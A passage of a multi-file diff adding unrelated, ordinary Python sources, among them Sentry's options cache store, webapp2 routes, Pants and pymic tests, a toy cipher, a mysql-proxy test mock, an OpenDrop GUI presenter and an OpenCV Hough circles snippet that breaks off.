+    OptionsStore is gooey and raw. It provides no protection over
+    what goes into the store. It only knows that it's reading/writing
+    to the right place. If using the OptionsStore directly, it's your
+    job to do validation of the data. You should probably go through
+    OptionsManager instead, unless you need raw access to something.
+    """
+
+    def __init__(self, cache=None, ttl=None):
+        if cache is None:
+            from sentry.cache import default_cache
+            cache = default_cache
+        self.cache = cache
+        self.ttl = ttl
+        self.flush_local_cache()
+
+    @cached_property
+    def model(self):
+        from sentry.models.option import Option
+        return Option
+
+    def make_key(self, name, default, type, flags, ttl, grace):
+        return Key(name, default, type, flags, int(ttl), int(grace), _make_cache_key(name))
+
+    def get(self, key, silent=False):
+        """
+        Fetches a value from the options store.
+        """
+        result = self.get_cache(key, silent=silent)
+        if result is not None:
+            return result
+
+        result = self.get_store(key, silent=silent)
+        if result is not None:
+            return result
+
+        # As a last ditch effort, let's hope we have a key
+        # in local cache that's possibly stale
+        return self.get_local_cache(key, force_grace=True)
+
+    def get_cache(self, key, silent=False):
+        """
+        First check agaist our local in-process cache, falling
+        back to the network cache.
+        """
+        value = self.get_local_cache(key)
+        if value is not None:
+            return value
+
+        cache_key = key.cache_key
+        try:
+            value = self.cache.get(cache_key)
+        except Exception:
+            if not silent:
+                logger.warn(CACHE_FETCH_ERR, key.name, exc_info=True)
+            value = None
+        else:
+            if key.ttl > 0:
+                self._local_cache[cache_key] = _make_cache_value(key, value)
+        return value
+
+    def get_local_cache(self, key, force_grace=False):
+        """
+        Attempt to fetch a key out of the local cache.
+
+        If the key exists, but is beyond expiration, we only
+        return it if grace=True. This forces the key to be returned
+        in a disaster scenario as long as we're still holding onto it.
+        This allows the OptionStore to pave over potential network hiccups
+        by returning a stale value.
+        """
+        try:
+            value, expires, grace = self._local_cache[key.cache_key]
+        except KeyError:
+            return None
+
+        now = int(time())
+
+        # Key is within normal expiry window, so just return it
+        if now < expires:
+            return value
+
+        # If we're able to accept within grace window, return it
+        if force_grace and now < grace:
+            return value
+
+        # Let's clean up values if we're beyond grace.
+        if now > grace:
+            try:
+                del self._local_cache[key.cache_key]
+            except KeyError:
+                # This could only exist in a race condition
+                # where another thread has already deleted this key,
+                # but we'll guard ourselves against it Justin Case.
+                # In this case, it's also possible that another thread
+                # has updated the value at this key, causing us to evict
+                # it prematurely. This isn't ideal, but not terrible
+                # since I don't want to introduce locking to prevent this.
+                # Even if it did happen, the consequence is just another
+                # network hop.
+                pass
+
+        # If we're outside the grace window, even if we ask for it
+        # in grace, too bad. The value is considered bad.
+        return None
+
+    def get_store(self, key, silent=False):
+        """
+        Attempt to fetch value from the database. If successful,
+        also set it back in the cache.
+
+        Returns None in both cases, if the key doesn't actually exist,
+        or if we errored fetching it.
+
+        NOTE: This behavior should probably be improved to differentiate
+        between a miss vs error, but not worth it now since the value
+        is limited at the moment.
+        """
+        try:
+            value = self.model.objects.get(key=key.name).value
+        except self.model.DoesNotExist:
+            value = None
+        except Exception as e:
+            if not silent:
+                logger.exception(unicode(e))
+            value = None
+        else:
+            # we only attempt to populate the cache if we were previously
+            # able to successfully talk to the backend
+            # NOTE: There is definitely a race condition here between updating
+            # the store and the cache
+            try:
+                self.set_cache(key, value)
+            except Exception:
+                if not silent:
+                    logger.warn(CACHE_UPDATE_ERR, key.name, exc_info=True)
+        return value
+
+    def set(self, key, value):
+        """
+        Store a value in the option store. Value must get persisted to database first,
+        then attempt caches. If it fails database, the entire operation blows up.
+        If cache fails, we ignore silently since it'll get repaired later by sync_options.
+        A boolean is returned to indicate if the network cache was set successfully.
+        """
+        self.set_store(key, value)
+        return self.set_cache(key, value)
+
+    def set_store(self, key, value):
+        create_or_update(
+            model=self.model,
+            key=key.name,
+            values={
+                'value': value,
+                'last_updated': timezone.now(),
+            }
+        )
+
+    def set_cache(self, key, value):
+        cache_key = key.cache_key
+        if key.ttl > 0:
+            self._local_cache[cache_key] = _make_cache_value(key, value)
+        try:
+            self.cache.set(cache_key, value, self.ttl)
+            return True
+        except Exception:
+            logger.warn(CACHE_UPDATE_ERR, key.name, exc_info=True)
+            return False
+
+    def delete(self, key):
+        """
+        Remove key out of option stores. This operation must succeed on the
+        database first. If database fails, an exception is raised.
+        If database succeeds, caches are then allowed to fail silently.
+        A boolean is returned to indicate if the network deletion succeeds.
+        """
+        self.delete_store(key)
+        return self.delete_cache(key)
+
+    def delete_store(self, key):
+        self.model.objects.filter(key=key.name).delete()
+
+    def delete_cache(self, key):
+        cache_key = key.cache_key
+        try:
+            del self._local_cache[cache_key]
+        except KeyError:
+            pass
+        try:
+            self.cache.delete(cache_key)
+            return True
+        except Exception:
+            logger.warn(CACHE_UPDATE_ERR, key.name, exc_info=True)
+            return False
+
+    def clean_local_cache(self):
+        """
+        Iterate over our local cache items, and
+        remove the keys that are beyond their grace time.
+        """
+        to_expire = []
+        now = int(time())
+        for k, (_, _, grace) in self._local_cache.iteritems():
+            if now > grace:
+                to_expire.append(k)
+
+        for k in to_expire:
+            try:
+                del self._local_cache[k]
+            except KeyError:
+                # This could only exist in a race condition
+                # where another thread has already deleted this key,
+                # but we'll guard ourselves against it Justin Case.
+                pass
+
+    def flush_local_cache(self):
+        """
+        Empty store's local in-process cache.
+        """
+        self._local_cache = {}
+
+    def maybe_clean_local_cache(self, **kwargs):
+        # Periodically force an expire on the local cache.
+        # This cleanup is purely to keep memory low and garbage collect
+        # old values. It's not required to run to keep things consistent.
+        # Internally, if an option is fetched and it's expired, it gets
+        # evicted immediately. This is purely for options that haven't
+        # been fetched since they've expired.
+        if not self._local_cache:
+            return
+        if random() < 0.25:
+            self.clean_local_cache()
+
+    def connect_signals(self):
+        from celery.signals import task_postrun
+        from django.core.signals import request_finished
+        task_postrun.connect(self.maybe_clean_local_cache)
+        request_finished.connect(self.maybe_clean_local_cache)
diff --git a/pool/shard000/Python/0007775_routes.py b/pool/shard000/Python/0007775_routes.py
new file mode 100644
index 0000000000000000000000000000000000000000..afdb4636c89e7bf601178a0b08c6b54a3cab4d8e
--- /dev/null
+++ b/pool/shard000/Python/0007775_routes.py
@@ -0,0 +1,33 @@
+from webapp2 import Route
+from app.web import index
+from app.web.admin import login, dashboard, dances, events
+from app.web.users import dances as user_dances, events as user_events
+
+__all__ = ['get_routes',
+           'add_routes']
+
+_routes = [
+
+    Route('/admin', handler=login.LoginHandler, name='login'),
+    Route('/dashboard', handler=dashboard.DashboardHandler, name='admin-dashboard'),
+    Route('/dashboard/dances', handler=dances.AdminDancesHandler, name='admin-dances'),
+    Route('/dashboard/dances/add', handler=dances.AddDancesHandler, name='admin-add-dance'),
+    Route('/dashboard/dances/edit', handler=dances.EditDancesHandler, name='admin-edit-dance'),
+    Route('/dashboard/events', handler=events.AdminEventsHandler, name='admin-events'),
+    Route('/dashboard/events/add', handler=events.AddEventsHandler, name='admin-add-event'),
+    Route('/dashboard/events/edit', handler=events.EditEventsHandler, name='admin-edit-event'),
+
+    Route('/dances', handler=user_dances.DancesHandler, name='dances'),
+    Route('/events', handler=user_events.EventsHandler, name='events'),
+    Route('/', handler=index.IndexHandler)
+
+]
+
+
+def get_routes():
+    return _routes
+
+
+def add_routes(app):
+    for r in _routes:
+        app.router.add(r)
diff --git a/pool/shard000/Python/0007783_test_list_integration.py b/pool/shard000/Python/0007783_test_list_integration.py
new file mode 100644
index 0000000000000000000000000000000000000000..75b91b77ea5ad93230131b5314b751db736b6180
--- /dev/null
+++ b/pool/shard000/Python/0007783_test_list_integration.py
@@ -0,0 +1,63 @@
+# coding=utf-8
+# Copyright 2016 Pants project contributors (see CONTRIBUTORS.md).
+# Licensed under the Apache License, Version 2.0 (see LICENSE).
+
+from __future__ import (absolute_import, division, generators, nested_scopes, print_function,
+                        unicode_literals, with_statement)
+
+from pants_test.pants_run_integration_test import PantsRunIntegrationTest
+
+
+class DependenciesIntegrationTest(PantsRunIntegrationTest):
+
+  def get_target_set(self, std_out):
+    return sorted([l for l in std_out.split('\n') if l])
+
+  def run_engine_list(self, success, *args):
+    return self.get_target_set(self.do_command(*args, success=success, enable_v2_engine=True).stdout_data)
+
+  def run_regular_list(self, success, *args):
+    return self.get_target_set(self.do_command(*args, success=success, enable_v2_engine=False).stdout_data)
+
+  def assert_list_new_equals_old(self, success, spec):
+    args = ['-q', 'list'] + spec
+    self.assertEqual(
+      self.run_regular_list(success, *args),
+      self.run_engine_list(success, *args),
+    )
+
+  def test_list_single(self):
+    self.assert_list_new_equals_old(True, ['3rdparty::'])
+
+  def test_list_multiple(self):
+    self.assert_list_new_equals_old(
+      True,
+      ['3rdparty::', 'examples/src/::', 'testprojects/tests/::', 'contrib/go/examples/3rdparty::']
+    )
+
+  def test_list_all(self):
+    self.do_command('list', '::', success=True, enable_v2_engine=True)
+
+  def test_list_invalid_dir(self):
+    pants_run = self.do_command('list', 'abcde::', success=False, enable_v2_engine=True)
+    self.assertIn('InvalidCommandLineSpecError', pants_run.stderr_data)
+
+  def test_list_nested_function_scopes(self):
+    pants_run = self.do_command('list',
+                                'testprojects/tests/python/pants/build_parsing::',
+                                success=True,
+                                enable_v2_engine=True)
+    self.assertEquals(
+      pants_run.stdout_data.strip(),
+      'testprojects/tests/python/pants/build_parsing:test-nested-variable-access-in-function-call'
+    )
+
+  def test_list_parse_java_targets(self):
+    pants_run = self.do_command('list',
+                                'testprojects/tests/java/org/pantsbuild/build_parsing::',
+                                success=True,
+                                enable_v2_engine=True)
+    self.assertRegexpMatches(
+      pants_run.stdout_data,
+      r'testprojects/tests/java/org/pantsbuild/build_parsing:trailing_glob_doublestar'
+    )
diff --git a/pool/shard000/Python/0007788_main.py b/pool/shard000/Python/0007788_main.py
new file mode 100644
index 0000000000000000000000000000000000000000..ed5f8f33f53b265a08234ba12c1dffe36feb7c51
--- /dev/null
+++ b/pool/shard000/Python/0007788_main.py
@@ -0,0 +1,58 @@
+#!/usr/bin/env python
+# -*- coding:utf-8 -*-
+__author__ = 'litleleprikon'
+
+
+class GCounterCipher:
+    def __init__(self):
+        with open('passwords.txt', 'r') as file:
+            self._keys = [line[:-1] for line in file.readlines()]
+        self.char_map = [chr(x) for x in range(32, 127)]
+        self.map_len = len(self.char_map)
+
+    def encrypt_once(self, key, text):
+        result = []
+        key_len = len(key)
+        for i, symbol in enumerate(text):
+            res_symbol_code = (self.char_map.index(symbol) + ord(key[i % key_len])) % self.map_len
+            res_symbol = self.char_map[res_symbol_code]
+            result.append(res_symbol)
+        return ''.join(result)
+
+    def encrypt(self, file_name):
+        with open(file_name, 'r') as file:
+            text = file.read()
+            for key in self._keys:
+                text = self.encrypt_once(key, text)
+        with open('encrypted.txt', 'w') as file:
+            file.write(text)
+
+    def decrypt_once(self, key, text):
+        result = []
+        key_len = len(key)
+        for i, symbol in enumerate(text):
+            res_symbol_code = (self.char_map.index(symbol) - ord(key[i % key_len])) % self.map_len
+            res_symbol = self.char_map[res_symbol_code]
+            result.append(res_symbol)
+        return ''.join(result)
+
+    def decrypt(self):
+        with open('encrypted.txt', 'r') as file:
+            text = file.read()
+            for key in reversed(self._keys):
+                text = self.decrypt_once(key, text)
+        with open('decrypted.txt', 'w') as file:
+            file.write(text)
+
+
+def main():
+    cipher = GCounterCipher()
+    cipher.encrypt('text.txt')
+    cipher.decrypt()
+
+
+if __name__ == "__main__":
+    try:
+        main()
+    except KeyboardInterrupt as ex:
+        print("Keyboard interrupt")
\ No newline at end of file
diff --git a/pool/shard000/Python/0007789_conftest.py b/pool/shard000/Python/0007789_conftest.py
new file mode 100644
index 0000000000000000000000000000000000000000..ef8bb31867da4e54d6f2b25d6b4aaf1d5b16c711
--- /dev/null
+++ b/pool/shard000/Python/0007789_conftest.py
@@ -0,0 +1,83 @@
+import pathlib
+
+import sqlalchemy as sa
+from pyramid import config
+import pytest
+
+from clld.db.meta import DBSession, Base, CustomModelMixin
+from clld.db.models import common
+from clld.web.datatables.language import Languages
+from pytest_clld._app import ExtendedTestApp
+from clld_glottologfamily_plugin.models import Family, HasFamilyMixin
+from clld_glottologfamily_plugin.datatables import MacroareaCol, FamilyLinkCol
+
+
+@pytest.fixture()
+def glottolog_repos():
+    return pathlib.Path(__file__).parent / 'repos'
+
+
+class LanguageWithFamily(CustomModelMixin, common.Language, HasFamilyMixin):
+    pk = sa.Column(sa.Integer, sa.ForeignKey('language.pk'), primary_key=True)
+    macroarea = sa.Column(sa.Unicode)
+
+
+@pytest.fixture(scope='session')
+def language_with_family():
+    return LanguageWithFamily
+
+
+class LanguagesWithFamily(Languages):
+    def col_defs(self):
+        return [
+            MacroareaCol(self, 'ma', language_cls=LanguageWithFamily),
+            FamilyLinkCol(self, 'f', language_cls=LanguageWithFamily),
+        ]
+
+
+@pytest.fixture
+def engine():
+    DBSession.bind = sa.create_engine('sqlite://')
+    yield DBSession
+    DBSession.remove()
+
+
+@pytest.fixture
+def db():
+    Base.metadata.bind = DBSession.bind
+    Base.metadata.create_all()
+
+    DBSession.add(common.Dataset(id='1', name='test app', domain='example.org'))
+    family = Family(id='f', name='family', description='desc', jsondata=dict(icon=1))
+    DBSession.add(LanguageWithFamily(id='l1', family=family))
+    DBSession.add(LanguageWithFamily(id='l2'))
+    DBSession.add(LanguageWithFamily(id='abcd1236'))
+    DBSession.add(LanguageWithFamily(id='abcd1234'))
+    return DBSession
+
+
+@pytest.fixture(scope='module')
+def testapp():
+    def main():
+        cfg = config.Configurator(settings={
+            'sqlalchemy.url': 'sqlite://',
+            'mako.directories': [
+                'clld:web/templates',
+                'clld_glottologfamily_plugin:templates'
+            ]})
+        cfg.include('clld.web.app')
+        cfg.include('clld_glottologfamily_plugin')
+        cfg.register_datatable('languages', LanguagesWithFamily)
+        return cfg.make_wsgi_app()
+
+    DBSession.remove()
+    wsgi_app = main()
+    Base.metadata.bind = DBSession.bind
+    Base.metadata.create_all()
+
+    DBSession.add(common.Dataset(id='1', name='test app', domain='example.org'))
+    family = Family(id='f', name='family', description='desc', jsondata=dict(icon=1))
+    DBSession.add(LanguageWithFamily(id='l1', family=family))
+    DBSession.add(LanguageWithFamily(id='l2'))
+    DBSession.add(LanguageWithFamily(id='abcd1236'))
+    yield ExtendedTestApp(wsgi_app)
diff --git a/pool/shard000/Python/0007794_Template.py b/pool/shard000/Python/0007794_Template.py
new file mode 100644
index 0000000000000000000000000000000000000000..2f28b9b5326ab9a20c7bb85cadefab63d09aa0a3
--- /dev/null
+++ b/pool/shard000/Python/0007794_Template.py
@@ -0,0 +1,26 @@
+from insalata.model.Node import Node
+
+class Template(Node):
+    def __init__(self, id, metadata):
+        Node.__init__(self)
+
+        self.id = id
+        self.metadata = metadata
+
+    def getID(self):
+        return self.id
+
+    def getGlobalID(self):
+        loc = self.getLocation()
+        if loc:
+            return loc.getID() + "_" + self.getID()
+        return self.getID()
+
+    def getLocation(self):
+        loc = self.getAllNeighbors(Location)
+        return list(loc)[0] if len(loc) > 0 else None
+
+    def getMetadata(self):
+        return self.metadata
+
+from insalata.model.Location import Location
diff --git a/pool/shard000/Python/0007796_mysql-40.py b/pool/shard000/Python/0007796_mysql-40.py
new file mode 100644
index 0000000000000000000000000000000000000000..4a981b67a93b8aa9e866c7bda4a832991528274b
--- /dev/null
+++ b/pool/shard000/Python/0007796_mysql-40.py
@@ -0,0 +1,89 @@
+# LICENSE BEGIN
+#
+# Copyright (c) 2010 Ysj.Ray
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#
+## LICENSE END
+
+
+import os, sys
+sys.path.append(os.environ['PYTHON_LIBPATH'])
+
+import mysql.proto as proto
+
+def packet_auth_40():
+	return \
+		"\x08\x34\x2e\x30\x2e\x32\x38\x2d\x64\x65\x62\x75\x67\x2d\x6c\x6f" +\
+		"\x67\000\005\000\000\000\x24\x6a\x6b\x5a\x60\x56\x6b\x3b\000\x2c" +\
+		"\20\x08\002\000\000\000\000\000\000\000\000\000\000\000\000\000" +\
+		"\000"
+
+def packet_auth_50():
+	return proto.to_challenge_packet({})
+
+
+connects = 0
+connect_id = 0
+
+def connect_server(proxy):
+	global connects
+	global connect_id
+	proxy.response.type = proxy.MYSQLD_PACKET_RAW
+
+	if connects == 0:
+		proxy.response.packets = ( packet_auth_50(), )
+	else:
+		proxy.response.packets = ( packet_auth_40(), )
+
+	connect_id = connects
+	connects += 1
+	print 'Now the connects is:', connects
+	return proxy.PROXY_SEND_RESULT
+
+
+def read_query(proxy, packet):
+	global connects
+	global connect_id
+	if ord(packet[0]) != proxy.COM_QUERY:
+		proxy.response = {
+			'type' : proxy.MYSQLD_PACKET_OK
+		}
+		return proxy.PROXY_SEND_RESULT
+
+	query = packet[1:]
+	if query == "SELECT thread_id()":
+		proxy.response = {
+			'type' : proxy.MYSQLD_PACKET_OK,
+			'resultset' : {
+				'fields' : (
+					("thread_id", proxy.MYSQL_TYPE_STRING ),
+				),
+				'rows' : (
+					( connect_id,  ),
+				)
+			}
+		}
+	else:
+		proxy.response = {
+			'type' : proxy.MYSQLD_PACKET_ERR,
+			'errmsg' : "(mysql-40-mock) " + query
+		}
+
+	return proxy.PROXY_SEND_RESULT
+
+
+
+
+
diff --git a/pool/shard000/Python/0007799_application_kernels.py b/pool/shard000/Python/0007799_application_kernels.py
new file mode 100644
index 0000000000000000000000000000000000000000..749ddef745d5d35620a1531d8994f57cfcde61ec
--- /dev/null
+++ b/pool/shard000/Python/0007799_application_kernels.py
@@ -0,0 +1,152 @@
+# Copyright (c) 2014-2015, Intel Corporation All rights reserved. 
+# 
+# Redistribution and use in source and binary forms, with or without 
+# modification, are permitted provided that the following conditions are 
+# met: 
+# 
+# 1. Redistributions of source code must retain the above copyright 
+# notice, this list of conditions and the following disclaimer. 
+#
+# 2. Redistributions in binary form must reproduce the above copyright 
+# notice, this list of conditions and the following disclaimer in the 
+# documentation and/or other materials provided with the distribution. 
+#
+# 3. Neither the name of the copyright holder nor the names of its 
+# contributors may be used to endorse or promote products derived from 
+# this software without specific prior written permission. 
+#
+# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS 
+# IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED 
+# TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A 
+# PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT 
+# HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 
+# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED 
+# TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR 
+# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF 
+# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING 
+# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 
+# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+
+from __future__ import print_function
+
+import unittest
+import numpy
+
+import pymic
+
+from helper import skipNoDevice
+from helper import get_library
+
+epsilon = 0.0000000001
+
+
+class ApplicationKernelTests(unittest.TestCase):
+    """This class defines test cases constructed from application kernels."""
+
+    def assertEqualEpsilon(self, first, second, msg=None):
+        """Test equal for floating point with deviation."""
+
+        def epsilonCompare(value):
+            return (abs(value) <= epsilon)
+
+        comparison = map(epsilonCompare, (first - second))
+        return self.assertTrue(all(comparison), msg)
+    
+    @skipNoDevice
+    def impl_test_dgemm(self, size):
+        """Test an MKL dgemm with 256x256 matrices."""
+        
+        device = pymic.devices[0]
+        stream = device.get_default_stream()
+        library = get_library(device, "libtests.so")
+        
+        m, n, k = size, size, size
+        alpha, beta = 1.2, 1.2
+        numpy.random.seed(10)
+        a = numpy.random.random(m * k).reshape((m, k))
+        b = numpy.random.random(k * n).reshape((k, n))
+        c = numpy.random.random(m * n).reshape((m, n))
+        
+        A = numpy.matrix(a)
+        B = numpy.matrix(b)
+        C = numpy.matrix(c)
+        expect = numpy.array(alpha * A * B + beta * C)
+        
+        offl_a = stream.bind(a)
+        offl_b = stream.bind(b)
+        offl_c = stream.bind(c)
+        
+        stream.invoke(library.test_kernel_dgemm,
+                      offl_a, offl_b, offl_c, 
+                      m, n, k, alpha, beta)
+        offl_c.update_host()
+        stream.sync()
+        r = offl_c.array
+    
+        self.assertEqualEpsilon(r.reshape((m * n,)), expect.reshape((m * n,)), 
+                                "Array contains unexpected values: "
+                                "{0} should be {1}".format(r, expect))
+        
+    @skipNoDevice
+    def impl_test_zgemm(self, size):
+        """Test an MKL zgemm with 256x256 matrices."""
+        
+        device = pymic.devices[0]
+        stream = device.get_default_stream()
+        library = get_library(device, "libtests.so")
+    
+        m, n, k = size, size, size
+        alpha, beta = complex(1.2, 0.5j), complex(0.5, 0.6j)
+        numpy.random.seed(20)
+        ar = numpy.random.random(m * k).reshape((m, k))
+        aj = numpy.random.random(m * k).reshape((m, k))
+        br = numpy.random.random(k * n).reshape((k, n))
+        bj = numpy.random.random(k * n).reshape((k, n))
+        cr = numpy.random.random(m * n).reshape((m, n))
+        cj = numpy.random.random(m * n).reshape((m, n))
+        a = ar + 1j * aj
+        b = br + 1j * bj
+        c = cr + 1j * cj
+        
+        A = numpy.matrix(a)
+        B = numpy.matrix(b)
+        C = numpy.matrix(c)
+        expect = numpy.array(alpha * A * B + beta * C)
+
+        offl_a = stream.bind(a)
+        offl_b = stream.bind(b)
+        offl_c = stream.bind(c)
+        stream.invoke(library.test_kernel_zgemm,
+                      offl_a, offl_b, offl_c, 
+                      m, n, k, alpha, beta)
+        offl_c.update_host()
+        stream.sync()
+        r = offl_c.array
+    
+        self.assertEqualEpsilon(r.reshape((m * n,)), expect.reshape((m * n,)), 
+                                "Array contains unexpected values: "
+                                "{0} should be {1}".format(r, expect))
+
+
+def _add_tests_gemm(size):
+    def test_method_dgemm(self):
+        self.impl_test_dgemm(size)
+        
+    def test_method_zgemm(self):
+        self.impl_test_zgemm(size)
+        
+    setattr(ApplicationKernelTests, 'test_dgemm_{0}'.format(size), 
+            test_method_dgemm)
+    setattr(ApplicationKernelTests, 'test_zgemm_{0}'.format(size), 
+            test_method_zgemm)
+    test_method_dgemm.__name__ = 'test_dgemm_{0}'.format(size)
+    test_method_zgemm.__name__ = 'test_zgemm_{0}'.format(size)
+
+
+#for size in xrange(8, 128, 8):
+#    _add_tests_gemm(size)
+#for size in xrange(256, 4096, 256):
+#    _add_tests_gemm(size)
+_add_tests_gemm(1024)
+_add_tests_gemm(256)
+
diff --git a/pool/shard000/Python/0007802_image.py b/pool/shard000/Python/0007802_image.py
new file mode 100644
index 0000000000000000000000000000000000000000..35f4765ca31b0c668f68dac4ea284db5056c3bbc
--- /dev/null
+++ b/pool/shard000/Python/0007802_image.py
@@ -0,0 +1,154 @@
+# Copyright © 2020, Joseph Berry, Rico Tabor (opendrop.dev@gmail.com)
+# OpenDrop is released under the GNU GPL License. You are free to
+# modify and distribute the code, but always under the same license
+# (i.e. you cannot make commercial derivatives).
+#
+# If you use this software in your research, please cite the following
+# journal articles:
+#
+# J. D. Berry, M. J. Neeson, R. R. Dagastine, D. Y. C. Chan and
+# R. F. Tabor, Measurement of surface and interfacial tension using
+# pendant drop tensiometry. Journal of Colloid and Interface Science 454
+# (2015) 226–237. https://doi.org/10.1016/j.jcis.2015.05.012
+#
+# E. Huang, T. Denning, A. Skoufis, J. Qi, R. R. Dagastine, R. F. Tabor
+# and J. D. Berry, OpenDrop: Open-source software for pendant drop
+# tensiometry & contact angle measurements, submitted to the Journal of
+# Open Source Software
+#
+# These citations help us not only to understand who is using and
+# developing OpenDrop, and for what purpose, but also to justify
+# continued development of this code and other open source resources.
+#
+# OpenDrop is distributed WITHOUT ANY WARRANTY; without even the
+# implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
+# PURPOSE.  See the GNU General Public License for more details.  You
+# should have received a copy of the GNU General Public License along
+# with this software.  If not, see <https://www.gnu.org/licenses/>.
+
+
+import math
+from typing import Optional
+
+from gi.repository import Gtk, GObject
+
+from opendrop.appfw import Presenter, component, install
+from opendrop.geometry import Rect2, Vector2
+from opendrop.widgets.canvas import Canvas, CanvasAlign, ImageArtist, LineArtist, AngleLabelArtist
+
+from opendrop.app.conan.services.analysis import ConanAnalysisJob
+
+
+@component(
+    template_path='./image.ui',
+)
+class ConanReportOverviewImagePresenter(Presenter[Gtk.Container]):
+    _analysis: Optional[ConanAnalysisJob] = None
+
+    def after_view_init(self) -> None:
+        self.canvas = Canvas(align=CanvasAlign.FIT, hexpand=True, vexpand=True, visible=True)
+        self.host.add(self.canvas)
+
+        self.bg_artist = ImageArtist()
+        self.canvas.add_artist(self.bg_artist)
+
+        self.baseline_artist = LineArtist(
+            stroke_color=(0.25, 1.0, 0.25),
+            scale_strokes=True,
+        )
+        self.canvas.add_artist(self.baseline_artist)
+
+        self.left_angle_artist = AngleLabelArtist(
+            clockwise=False,
+            arc_radius=20.0,
+            text_radius=40.0,
+            end_line_radius=50.0,
+            stroke_color=(1.0, 0.0, 0.5),
+            text_color=(1.0, 0.0, 0.5),
+            scale_radii=True,
+            scale_strokes=True,
+            scale_text=True,
+        )
+        self.canvas.add_artist(self.left_angle_artist)
+
+        self.right_angle_artist = AngleLabelArtist(
+            clockwise=True,
+            arc_radius=20.0,
+            text_radius=40.0,
+            end_line_radius=50.0,
+            stroke_color=(1.0, 0.0, 0.5),
+            text_color=(1.0, 0.0, 0.5),
+            scale_radii=True,
+            scale_strokes=True,
+            scale_text=True,
+        )
+        self.canvas.add_artist(self.right_angle_artist)
+
+        self.baseline_artist.bind_property(
+            'line',
+            self.left_angle_artist, 'start-angle',
+            GObject.BindingFlags.SYNC_CREATE,
+            lambda _, line: -math.atan(line.gradient) if line is not None else 0,
+        )
+
+        self.baseline_artist.bind_property(
+            'line',
+            self.right_angle_artist, 'start-angle',
+            GObject.BindingFlags.SYNC_CREATE,
+            lambda _, line: math.pi - (math.atan(line.gradient) if line is not None else 0),
+        )
+
+    @install
+    @GObject.Property
+    def analysis(self) -> Optional[ConanAnalysisJob]:
+        return self._analysis
+
+    @analysis.setter
+    def analysis(self, analysis: Optional[ConanAnalysisJob]) -> None:
+        if self.analysis is not None:
+            self.analysis.disconnect(self.analysis_status_changed_id)
+
+        self._analysis = analysis
+
+        if analysis is None:
+            return
+
+        self.analysis_status_changed_id = analysis.connect('notify::status', self.analysis_status_changed)
+        self.analysis_status_changed()
+
+    def analysis_status_changed(self, *_) -> None:
+        analysis = self._analysis
+        if analysis is None: return
+
+        image = analysis.image
+        if image is not None:
+            self.bg_artist.set_array(image)
+            self.bg_artist.props.extents = Rect2(0, 0, image.shape[1], image.shape[0])
+            self.canvas.set_content_size(image.shape[1], image.shape[0])
+            self.canvas.zoom(0.0)
+        else:
+            self.bg_artist.clear_data()
+
+        left_angle = analysis.left_angle
+        left_contact = analysis.left_contact
+        if left_angle is not None and left_contact is not None:
+            self.left_angle_artist.props.delta_angle = left_angle
+            self.left_angle_artist.props.x = left_contact.x
+            self.left_angle_artist.props.y = left_contact.y
+        else:
+            self.left_angle_artist.props.delta_angle = math.nan
+
+        right_angle = analysis.right_angle
+        right_contact = analysis.right_contact
+        if right_angle is not None and right_contact is not None:
+            self.right_angle_artist.props.delta_angle = -right_angle
+            self.right_angle_artist.props.x = right_contact.x
+            self.right_angle_artist.props.y = right_contact.y
+        else:
+            self.right_angle_artist.props.delta_angle = math.nan
+
+        line = analysis.baseline
+        self.baseline_artist.props.line = line
+
+    def destroy(self, *_) -> None:
+        self.analysis = None
diff --git a/pool/shard000/Python/0007803_HoughCircles.py b/pool/shard000/Python/0007803_HoughCircles.py
new file mode 100644
index 0000000000000000000000000000000000000000..8cd8d14a7bed57e0e3f26385ba180f872e0ce939
--- /dev/null
+++ b/pool/shard000/Python/0007803_HoughCircles.py
@@ -0,0 +1,65 @@
+# -*-coding:utf8-*-#
+__author__ = 'play4fun'
+"""
+create time:15-10-25 下午12:02
+一个圆环 需要 3 个参数来确定。所以进行圆环 夫变换的累加器必须是 3 维的
+  这样的 效率 就会很低。所以 OpenCV 用来一个比 巧妙的办法 霍夫梯度法 它可以使 用边界的梯度信息。
+  
+参数：
+image： 8位，单通道图像。如果使用彩色图像，请先转换为灰度。
+method：定义检测图像中的圆的方法。目前，唯一实现的方法是cv2.HOUGH_GRADIENT对应于Yuen等。纸。
+dp：该参数是累加器分辨率与图像分辨率的反比（详见Yuen等人）。实质上，dp获取越大，累加器数组越小。
+minDist：检测到的圆的中心（x，y）坐标之间的最小距离。如果minDist太小，则可能（错误地）检测到与原始相邻的多个圆。如果minDist太大，那么一些圈子根本就不会被检测到。
+param1： Yuen等人用于处理边缘检测的梯度值 方法。
+param2：该cv2.HOUGH_GRADIENT方法的累加器阈值。阈值越小，检测到的圈子越多（包括虚假圈子）。阈值越大，可能会返回的圈数越多。
+minRadius：半径的最小大小（以像素为单位）。
+maxRadius：半径的最大大小（以像素为单位）。
+"""
+
+import cv2
+import numpy as np
+
+img = cv2.imread('../data/OpenCV_Logo_with_text.png', 0)
+img = cv2.medianBlur(img, 5)
+cimg = cv2.cvtColor(img, cv2.COLOR_GRAY2BGR)
+
